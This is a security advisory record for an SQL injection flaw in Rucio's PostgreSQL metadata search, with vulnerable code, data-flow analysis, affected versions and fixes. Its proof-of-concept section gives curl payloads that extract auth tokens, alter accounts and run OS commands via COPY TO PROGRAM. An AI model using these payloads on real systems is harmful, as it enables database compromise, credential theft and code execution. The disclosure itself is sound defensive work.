Vulnerabilities in pkg:pypi/rucio

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6j7p-qjhg-9947",
  "modified" : "2026-06-30T16:43:52Z",
  "published" : "2026-05-06T16:44:07Z",
  "aliases" : [ "CVE-2026-29090" ],
  "summary" : "Rucio has SQL Injection in FilterEngine PostgreSQL Query Builder via DID Search API",
  "details" : "### Summary\n\nA SQL injection vulnerability in `FilterEngine.create_postgres_query` allows any authenticated Rucio user to execute arbitrary SQL against the configured PostgreSQL metadata database through the DID search endpoint (`GET /dids/<scope>/dids/search`). When the external metadata plugin `postgres_meta` is configured, attacker-controlled filter keys and values are interpolated directly into raw SQL statements via Python `str.format`. This enables full database compromise including data exfiltration, data modification, and potential remote code execution via `COPY ... FROM PROGRAM`.\n\n---\n\n### Details\n\nThe vulnerability exists in `lib/rucio/core/did_meta_plugins/filter_engine.py` within the `create_postgres_query()` method (lines 408-484). This method builds raw SQL strings via Python `.format()` across 6 distinct injection points:\n\n**filter_engine.py:477** (string equality — default branch):\n```python\nexpression = \"{}->>'{}'  {} '{}'\".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)\n```\n\n**filter_engine.py:442** (wildcard/LIKE branch):\n```python\nexpression = \"{}->>'{}'  LIKE '{}' \".format(jsonb_column, key, value.replace('*', '%'))\n```\n\n**filter_engine.py:456** (boolean branch — value unquoted):\n```python\nexpression = \"({}->>'{}'  )::boolean {} {}\".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)\n```\n\n**filter_engine.py:462** (numeric branch — value unquoted):\n```python\nexpression = \"({}->>'{}'  )::float {} {}\".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)\n```\n\n**filter_engine.py:472** (datetime branch):\n```python\nexpression = \"({}->>'{}'  )::timestamp {} '{}'\".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)\n```\n\n**filter_engine.py:479** (non-JSONB column fallback):\n```python\nexpression = \"{} {} '{}'\".format(key, POSTGRES_OP_MAP[oper], value)\n```\n\nBoth `key` and `value` are attacker-controlled strings derived from HTTP query parameters. The resulting `expression` string is concatenated into a larger query string (`postgres_query_str`) that is then passed to `psycopg3`'s `sql.SQL()`:\n\n```python\n# postgres_meta.py:314-316\nstatement = sql.SQL(\"SELECT * FROM {} WHERE {} {}\").format(\n    sql.Identifier(self.table),\n    sql.SQL(postgres_query_str),   # <-- UNSANITIZED user-derived string\n    sql.SQL(\"LIMIT {}\").format(sql.Literal(limit)) if limit else sql.SQL(\"\")\n)\n```\n\n`sql.SQL()` wraps the string as a trusted SQL syntax fragment — it does **not** escape or parameterize its contents. The statement is then executed via `cur.execute(statement)` at `postgres_meta.py:321`.\n\n#### Why no existing defense blocks this\n\nThe data flow from HTTP request to SQL execution passes through multiple layers with no effective sanitization:\n\n1. **HTTP input** (`dids.py:265-274`): Filter keys and values are accepted from query parameters via `ast.literal_eval()` or directly from individual query argument names/values. The fallback path only excludes 4 reserved keys (`type`, `limit`, `long`, `recursive`).\n\n2. **Plugin routing** (`did_meta_plugins/__init__.py:227-248`): Each filter key is checked via `manages_key()`. `postgres_meta.manages_key()` **unconditionally returns `True`** (line 345) — it accepts ANY filter key without validation.\n\n3. **FilterEngine initialization**: The `postgres_meta` plugin instantiates `FilterEngine` with `strict_coerce=False`. Unknown keys pass through `_coerce_filter_word_to_model_attribute()` as raw strings.\n\n4. **Value typecasting** (`filter_engine.py:275-297`): `_try_typecast_string()` attempts to parse the value as a boolean, datetime, or number. SQL injection strings fail all these parsers and are returned unchanged.\n\n5. **Sanity checks** (`filter_engine.py:149-190`): `_sanity_check_translated_filters()` does **not** validate arbitrary key names or values for SQL-unsafe characters.\n\n6. **SQL construction** (`filter_engine.py:442-479`): The unsanitized key and value strings are interpolated directly into raw SQL strings via `.format()`.\n\n7. **SQL execution** (`postgres_meta.py:316,321`): The raw string is wrapped in `sql.SQL()` (treated as trusted SQL) and executed via `cur.execute()`.\n\n---\n\n### PoC\n\n**Prerequisites:**\n- A Rucio instance using PostgreSQL as the database backend\n- The `postgres_meta` metadata plugin **explicitly configured** (this is NOT the default — the default is `json_meta`)\n- Any valid Rucio authentication token (obtainable via userpass, x509, OIDC, SAML, SSH, or GSS)\n\n#### 1. Obtain an authentication token\n\n```bash\nTOKEN=$(curl -s -k \\\n  -H 'X-Rucio-Account: testuser' \\\n  -H 'X-Rucio-Username: testuser' \\\n  -H 'X-Rucio-Password: testpass' \\\n  'https://rucio.example.org/auth/userpass' \\\n  -D - 2>/dev/null | grep -i 'x-rucio-auth-token' | awk '{print $2}' | tr -d '\\r')\n```\n\n#### 2. Value injection — boolean-based filter bypass\n\n```bash\n# postgres_meta uses create_postgres_query() -> raw string formatting\n# filter_engine.py:477: \"{}->>'{}'  {} '{}'\".format(jsonb_column, key, op, value)\n\ncurl -s -k \\\n  -H \"X-Rucio-Auth-Token: $TOKEN\" \\\n  -H \"Accept: application/x-json-stream\" \\\n  \"https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x'%20OR%20'1'%3D'1\"\n\n# URL-decoded: custom_key=x' OR '1'='1\n#\n# Generated SQL fragment:\n#   data->>'custom_key' = 'x' OR '1'='1'\n#\n# Effect: WHERE clause always true, returns all rows\n```\n\n#### 3. Key injection via query parameter name\n\n```bash\n# The key is single-quoted but unescaped — injection via closing quote.\n# filter_engine.py:477: \"{}->>'{}'  {} '{}'\".format(jsonb_column, key, op, value)\n\ncurl -s -k \\\n  -H \"X-Rucio-Auth-Token: $TOKEN\" \\\n  -H \"Accept: application/x-json-stream\" \\\n  \"https://rucio.example.org/dids/user.testuser/dids/search?x'%20OR%201%3D1--%20=anything\"\n\n# URL-decoded: key = x' OR 1=1--  , value = anything\n#\n# Generated SQL fragment:\n#   data->>'x' OR 1=1-- ' = 'anything'\n#              ^^^^^^^^ injected, -- comments out the rest\n```\n\n#### 4. UNION-based data extraction\n\n```bash\n# Extract auth tokens from the tokens table.\n\ncurl -s -k \\\n  -H \"X-Rucio-Auth-Token: $TOKEN\" \\\n  -H \"Accept: application/x-json-stream\" \\\n  \"https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x'%20UNION%20SELECT%20token%2Caccount%2CNULL%2CNULL%20FROM%20tokens%20--\"\n\n# URL-decoded: custom_key=x' UNION SELECT token,account,NULL,NULL FROM tokens --\n#\n# Effect: Appends tokens table contents to the result set\n```\n\n#### 5. Stacked queries — data modification\n\n```bash\n# PostgreSQL supports multiple statements separated by ;\n\ncurl -s -k \\\n  -H \"X-Rucio-Auth-Token: $TOKEN\" \\\n  -H \"Accept: application/x-json-stream\" \\\n  \"https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x';%20UPDATE%20accounts%20SET%20account_type%3D'SERVICE'%20WHERE%20account%3D'testuser';%20--\"\n\n# URL-decoded: custom_key=x'; UPDATE accounts SET account_type='SERVICE' WHERE account='testuser'; --\n```\n\n#### 6. Remote code execution (if database user has superuser privileges)\n\n```bash\n# PostgreSQL COPY ... FROM PROGRAM executes OS commands\n\ncurl -s -k \\\n  -H \"X-Rucio-Auth-Token: $TOKEN\" \\\n  -H \"Accept: application/x-json-stream\" \\\n  \"https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x';%20COPY%20(SELECT%20'')%20TO%20PROGRAM%20'id%20>%20/tmp/pwned';%20--\"\n\n# URL-decoded: custom_key=x'; COPY (SELECT '') TO PROGRAM 'id > /tmp/pwned'; --\n# Requires: database user with pg_execute_server_program or superuser role\n```\n\n#### 7. Alternative entry via `filters` query parameter\n\n```bash\n# The filters parameter accepts Python literal syntax via ast.literal_eval().\n\ncurl -s -k \\\n  -H \"X-Rucio-Auth-Token: $TOKEN\" \\\n  -H \"Accept: application/x-json-stream\" \\\n  'https://rucio.example.org/dids/user.testuser/dids/search?filters=%5B%7B%22custom_key%22%3A%20%22x%27%20OR%20%271%27%3D%271%22%7D%5D'\n\n# URL-decoded: filters=[{\"custom_key\": \"x' OR '1'='1\"}]\n```\n\n---\n\n### Impact\n\n**Vulnerability type:** SQL Injection (CWE-89)\n\n**CVSS v3.1:** 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)\n\n**Who is impacted:**\n\n- Rucio deployments that have explicitly configured the `postgres_meta` metadata plugin.\n\n**What an attacker can do:**\n\n- **Data modification:** PostgreSQL stacked queries enable arbitrary `INSERT`/`UPDATE`/`DELETE` operations.\n- **Remote code execution:** Via PostgreSQL's `COPY ... FROM PROGRAM` if the database user has superuser or `pg_execute_server_program` privileges.\n- **File system access:** Via `COPY ... TO/FROM '/path'` if filesystem permissions allow.\n\n**Further elevation when the same postgres database and access is used for metadata and for Rucio itself**\n\n- **Full database read access:** Extract any table including `identities` (password hashes and salts), `tokens` (active authentication sessions), `accounts` (user enumeration), `rse_settings` (storage endpoint credentials), and `rules` (data management policies) could be extracted.\n- **Password hash extraction:** Combined with Rucio's use of single-iteration SHA-256 for password hashing (no KDF), extracted hashes can be cracked at GPU speed.\n- **Authentication token theft:** Active bearer tokens can be extracted and used for immediate session hijacking.\n\n**Required attacker privileges:** Any authenticated Rucio user. Authentication tokens can be obtained via any supported method (userpass, x509, OIDC, SAML, SSH, GSS). No special roles or administrative permissions are required. The `GET /dids/<scope>/dids/search` endpoint is available to all authenticated users.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "rucio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.30.0"
      }, {
        "fixed" : "35.8.5"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "rucio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "36.0.0"
      }, {
        "fixed" : "38.5.5"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "rucio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "39.0.0"
      }, {
        "fixed" : "39.4.2"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "rucio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "40.0.0"
      }, {
        "fixed" : "40.1.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/rucio/rucio/security/advisories/GHSA-6j7p-qjhg-9947"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-29090"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-6j7p-qjhg-9947"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/rucio/PYSEC-2026-527.yaml"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/rucio/rucio"
  }, {
    "type" : "WEB",
    "url" : "https://pypi.org/project/rucio"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-06T16:44:07Z",
    "nvd_published_at" : "2026-05-06T18:16:02Z"
  }
}